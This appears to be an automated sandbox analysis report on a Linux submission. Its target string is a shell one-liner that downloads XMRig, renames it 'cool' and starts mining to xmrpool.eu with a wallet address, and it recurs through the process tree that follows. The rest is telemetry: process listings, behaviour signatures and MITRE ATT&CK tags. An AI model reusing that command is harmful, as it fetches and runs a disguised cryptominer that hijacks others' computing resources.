Resubmissions

12-06-2024 13:53

240612-q63jps1cnq 4

12-06-2024 13:48

240612-q4kk4s1bmp 1

Analysis

  • max time kernel
    1798s
  • max time network
    1744s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    12-06-2024 13:53

General

  • Target

    http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH

Score
4/10

Malware Config

Signatures

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 11 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/xdg-open
    xdg-open "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH"
    1⤵
      PID:1437
      • /usr/bin/dbus-send
        dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
        2⤵
          PID:1438
          • /usr/bin/dbus-launch
            dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
            3⤵
              PID:1439
              • /usr/bin/dbus-daemon
                /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
                4⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:1441
                • /usr/libexec/xdg-desktop-portal
                  /usr/libexec/xdg-desktop-portal
                  5⤵
                  • Reads runtime system information
                  PID:1569
                • /usr/libexec/xdg-document-portal
                  /usr/libexec/xdg-document-portal
                  5⤵
                    PID:1575
                  • /usr/libexec/xdg-permission-store
                    /usr/libexec/xdg-permission-store
                    5⤵
                      PID:1579
                    • /usr/libexec/xdg-desktop-portal-gtk
                      /usr/libexec/xdg-desktop-portal-gtk
                      5⤵
                        PID:1589
                      • /usr/libexec/gvfsd
                        /usr/libexec/gvfsd
                        5⤵
                        • Reads runtime system information
                        PID:1594
                        • /usr/libexec/gvfsd-trash
                          /usr/libexec/gvfsd-trash --spawner :1.8 /org/gtk/gvfs/exec_spaw/0
                          6⤵
                          • Reads runtime system information
                          PID:1634
                      • /usr/libexec/dconf-service
                        /usr/libexec/dconf-service
                        5⤵
                        • Reads runtime system information
                        PID:1624
                      • /usr/bin/nautilus
                        /usr/bin/nautilus --gapplication-service
                        5⤵
                        • Reads CPU attributes
                        PID:1629
                      • /usr/bin/gnome-keyring-daemon
                        /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                        5⤵
                        • Reads runtime system information
                        PID:1756
                      • /usr/libexec/gvfs-udisks2-volume-monitor
                        /usr/libexec/gvfs-udisks2-volume-monitor
                        5⤵
                        • Reads runtime system information
                        PID:1766
                      • /usr/libexec/gvfs-afc-volume-monitor
                        /usr/libexec/gvfs-afc-volume-monitor
                        5⤵
                        • Reads runtime system information
                        PID:1772
                      • /usr/libexec/gvfs-mtp-volume-monitor
                        /usr/libexec/gvfs-mtp-volume-monitor
                        5⤵
                        • Enumerates kernel/hardware configuration
                        PID:1778
                      • /usr/libexec/gvfs-gphoto2-volume-monitor
                        /usr/libexec/gvfs-gphoto2-volume-monitor
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:1783
                      • /usr/libexec/gvfs-goa-volume-monitor
                        /usr/libexec/gvfs-goa-volume-monitor
                        5⤵
                        • Reads runtime system information
                        PID:1790
                      • /usr/libexec/goa-daemon
                        /usr/libexec/goa-daemon
                        5⤵
                        • Reads runtime system information
                        PID:1794
                      • /usr/libexec/goa-identity-service
                        /usr/libexec/goa-identity-service
                        5⤵
                          PID:1802
                  • /usr/bin/grep
                    grep " = \\\"xfce4\\\"\$"
                    2⤵
                      PID:1445
                    • /usr/bin/xprop
                      xprop -root _DT_SAVE_MODE
                      2⤵
                        PID:1444
                      • /usr/bin/grep
                        grep -i "^xfce_desktop_window"
                        2⤵
                          PID:1447
                        • /usr/bin/xprop
                          xprop -root
                          2⤵
                            PID:1446
                          • /usr/bin/grep
                            grep -q "^Enlightenment"
                            2⤵
                              PID:1449
                            • /usr/bin/uname
                              uname
                              2⤵
                                PID:1450
                              • /usr/bin/grep
                                grep -q "^file://"
                                2⤵
                                  PID:1452
                                • /usr/bin/egrep
                                  egrep -q "^[[:alpha:]+\\.\\-]+:"
                                  2⤵
                                    PID:1454
                                  • /usr/local/sbin/grep
                                    grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                    2⤵
                                      PID:1454
                                    • /usr/local/bin/grep
                                      grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                      2⤵
                                        PID:1454
                                      • /usr/sbin/grep
                                        grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                        2⤵
                                          PID:1454
                                        • /usr/bin/grep
                                          grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                          2⤵
                                            PID:1454
                                          • /usr/bin/sed
                                            sed -n "s/\\(^[[:alnum:]+\\.-]*\\):.*\$/\\1/p"
                                            2⤵
                                              PID:1457
                                            • /usr/bin/xdg-mime
                                              xdg-mime query default x-scheme-handler/http
                                              2⤵
                                                PID:1458
                                                • /usr/bin/dbus-send
                                                  dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
                                                  3⤵
                                                    PID:1459
                                                    • /usr/bin/dbus-launch
                                                      dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
                                                      4⤵
                                                        PID:1460
                                                    • /usr/bin/grep
                                                      grep " = \\\"xfce4\\\"\$"
                                                      3⤵
                                                        PID:1462
                                                      • /usr/bin/xprop
                                                        xprop -root _DT_SAVE_MODE
                                                        3⤵
                                                          PID:1461
                                                        • /usr/bin/grep
                                                          grep -i "^xfce_desktop_window"
                                                          3⤵
                                                            PID:1464
                                                          • /usr/bin/xprop
                                                            xprop -root
                                                            3⤵
                                                              PID:1463
                                                            • /usr/bin/grep
                                                              grep -q "^Enlightenment"
                                                              3⤵
                                                                PID:1466
                                                              • /usr/bin/uname
                                                                uname
                                                                3⤵
                                                                  PID:1467
                                                                • /usr/bin/sed
                                                                  sed "s/:/ /g"
                                                                  3⤵
                                                                    PID:1470
                                                                  • /usr/bin/cut
                                                                    cut -d ";" -f 1
                                                                    3⤵
                                                                      PID:1475
                                                                    • /usr/bin/cut
                                                                      cut -d "=" -f 2
                                                                      3⤵
                                                                        PID:1474
                                                                      • /usr/bin/head
                                                                        head -n 1
                                                                        3⤵
                                                                          PID:1473
                                                                        • /usr/bin/grep
                                                                          grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                          3⤵
                                                                            PID:1472
                                                                          • /usr/bin/cut
                                                                            cut -d ";" -f 1
                                                                            3⤵
                                                                              PID:1480
                                                                            • /usr/bin/cut
                                                                              cut -d "=" -f 2
                                                                              3⤵
                                                                                PID:1479
                                                                              • /usr/bin/head
                                                                                head -n 1
                                                                                3⤵
                                                                                  PID:1478
                                                                                • /usr/bin/grep
                                                                                  grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                                  3⤵
                                                                                    PID:1477
                                                                                  • /usr/bin/cut
                                                                                    cut -d ";" -f 1
                                                                                    3⤵
                                                                                      PID:1485
                                                                                    • /usr/bin/cut
                                                                                      cut -d "=" -f 2
                                                                                      3⤵
                                                                                        PID:1484
                                                                                      • /usr/bin/head
                                                                                        head -n 1
                                                                                        3⤵
                                                                                          PID:1483
                                                                                        • /usr/bin/grep
                                                                                          grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                          3⤵
                                                                                            PID:1482
                                                                                          • /usr/bin/cut
                                                                                            cut -d ";" -f 1
                                                                                            3⤵
                                                                                              PID:1490
                                                                                            • /usr/bin/cut
                                                                                              cut -d "=" -f 2
                                                                                              3⤵
                                                                                                PID:1489
                                                                                              • /usr/bin/head
                                                                                                head -n 1
                                                                                                3⤵
                                                                                                  PID:1488
                                                                                                • /usr/bin/grep
                                                                                                  grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                                  3⤵
                                                                                                    PID:1487
                                                                                                  • /usr/bin/cut
                                                                                                    cut -d ";" -f 1
                                                                                                    3⤵
                                                                                                      PID:1495
                                                                                                    • /usr/bin/cut
                                                                                                      cut -d "=" -f 2
                                                                                                      3⤵
                                                                                                        PID:1494
                                                                                                      • /usr/bin/head
                                                                                                        head -n 1
                                                                                                        3⤵
                                                                                                          PID:1493
                                                                                                        • /usr/bin/grep
                                                                                                          grep "x-scheme-handler/http=" /usr/share//applications/defaults.list /usr/share//applications/mimeinfo.cache
                                                                                                          3⤵
                                                                                                            PID:1492
                                                                                                        • /usr/bin/sed
                                                                                                          sed "s/:/ /g"
                                                                                                          2⤵
                                                                                                            PID:1498
                                                                                                          • /usr/bin/sed
                                                                                                            sed -e "s|-|/|"
                                                                                                            2⤵
                                                                                                              PID:1501
                                                                                                            • /usr/bin/sed
                                                                                                              sed -e "s|-|/|"
                                                                                                              2⤵
                                                                                                              • Reads runtime system information
                                                                                                              PID:1504
                                                                                                            • /usr/bin/cut
                                                                                                              cut "-d=" -f 2-
                                                                                                              2⤵
                                                                                                                PID:1509
                                                                                                              • /usr/bin/which
                                                                                                                which firefox
                                                                                                                2⤵
                                                                                                                  PID:1510
                                                                                                                • /usr/bin/cut
                                                                                                                  cut "-d=" -f 2-
                                                                                                                  2⤵
                                                                                                                    PID:1513
                                                                                                                  • /usr/bin/cut
                                                                                                                    cut "-d=" -f 2-
                                                                                                                    2⤵
                                                                                                                      PID:1516
                                                                                                                    • /usr/bin/cut
                                                                                                                      cut "-d=" -f 2-
                                                                                                                      2⤵
                                                                                                                        PID:1521
                                                                                                                      • /usr/bin/firefox
                                                                                                                        /usr/bin/firefox "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH"
                                                                                                                        2⤵
                                                                                                                          PID:1522
                                                                                                                          • /usr/bin/which
                                                                                                                            which /usr/bin/firefox
                                                                                                                            3⤵
                                                                                                                              PID:1523
                                                                                                                          • /usr/lib/firefox/firefox
                                                                                                                            /usr/lib/firefox/firefox "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 42jwF6dmaUhS6oYB7yJ95qKrrKnhxaD7d8tBDvAFef4rMdtkpRePV5C2cKiB8kRuDBhroi5ytYmR467TgfoiwfRp1qhCNYH"
                                                                                                                            2⤵
                                                                                                                            • Checks CPU configuration
                                                                                                                            • Reads CPU attributes
                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                            • Reads runtime system information
                                                                                                                            • Writes file to tmp directory
                                                                                                                            PID:1522
                                                                                                                            • /usr/local/sbin/dbus-launch
                                                                                                                              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                              3⤵
                                                                                                                                PID:1530
                                                                                                                              • /usr/local/bin/dbus-launch
                                                                                                                                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                3⤵
                                                                                                                                  PID:1530
                                                                                                                                • /usr/sbin/dbus-launch
                                                                                                                                  dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                  3⤵
                                                                                                                                    PID:1530
                                                                                                                                  • /usr/bin/dbus-launch
                                                                                                                                    dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                    3⤵
                                                                                                                                      PID:1530
                                                                                                                                    • /usr/lib/firefox/glxtest
                                                                                                                                      /usr/lib/firefox/glxtest -f 13
                                                                                                                                      3⤵
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1533
                                                                                                                                    • /usr/bin/lsb_release
                                                                                                                                      /usr/bin/lsb_release -idrc
                                                                                                                                      3⤵
                                                                                                                                        PID:1545
                                                                                                                                      • /usr/local/sbin/dbus-launch
                                                                                                                                        dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                        3⤵
                                                                                                                                          PID:1555
                                                                                                                                        • /usr/local/bin/dbus-launch
                                                                                                                                          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                          3⤵
                                                                                                                                            PID:1555
                                                                                                                                          • /usr/sbin/dbus-launch
                                                                                                                                            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                            3⤵
                                                                                                                                              PID:1555
                                                                                                                                            • /usr/bin/dbus-launch
                                                                                                                                              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                              3⤵
                                                                                                                                                PID:1555
                                                                                                                                              • /usr/lib/firefox/firefox
                                                                                                                                                /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 20982 -prefMapSize 234098 -appDir /usr/lib/firefox/browser "{afddb554-5b39-414b-b897-deec4adc6ca5}" 1522 true socket
                                                                                                                                                3⤵
                                                                                                                                                • Reads CPU attributes
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1567
                                                                                                                                              • /usr/lib/firefox/firefox
                                                                                                                                                /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 27153 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{69b84c43-9f88-4b9c-ab2e-7e8f221ccf0a}" 1522 true tab
                                                                                                                                                3⤵
                                                                                                                                                • Reads CPU attributes
                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1664
                                                                                                                                              • /usr/lib/firefox/firefox
                                                                                                                                                /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 27692 -prefMapSize 234098 -appDir /usr/lib/firefox/browser "{049e9661-39dc-4bc6-ae41-cc9b47b8a3d7}" 1522 true utility
                                                                                                                                                3⤵
                                                                                                                                                • Reads CPU attributes
                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1700
                                                                                                                                              • /usr/lib/firefox/firefox
                                                                                                                                                /usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 25929 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{8a5c1e79-8d06-499d-bbff-91d7b2dbd5fc}" 1522 true tab
                                                                                                                                                3⤵
                                                                                                                                                • Reads CPU attributes
                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1707
                                                                                                                                              • /usr/lib/firefox/firefox
                                                                                                                                                /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 25929 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{1e09e27f-4277-4f25-8fbe-9d95df56dab5}" 1522 true tab
                                                                                                                                                3⤵
                                                                                                                                                • Reads CPU attributes
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1709
                                                                                                                                              • /usr/lib/firefox/firefox
                                                                                                                                                /usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 25929 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{27e5310c-598a-48bf-90b8-8e5d25413249}" 1522 true tab
                                                                                                                                                3⤵
                                                                                                                                                • Reads CPU attributes
                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1711
                                                                                                                                          • /usr/libexec/gvfsd-fuse
                                                                                                                                            /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                                                                                                                            1⤵
                                                                                                                                              PID:1599

                                                                                                                                            Network

                                                                                                                                            MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                            Defense Evasion

                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                            1
                                                                                                                                            T1497

                                                                                                                                            Discovery

                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                            1
                                                                                                                                            T1497

                                                                                                                                            System Information Discovery

                                                                                                                                            2
                                                                                                                                            T1082

                                                                                                                                            Replay Monitor

                                                                                                                                            Loading Replay Monitor...

                                                                                                                                            Downloads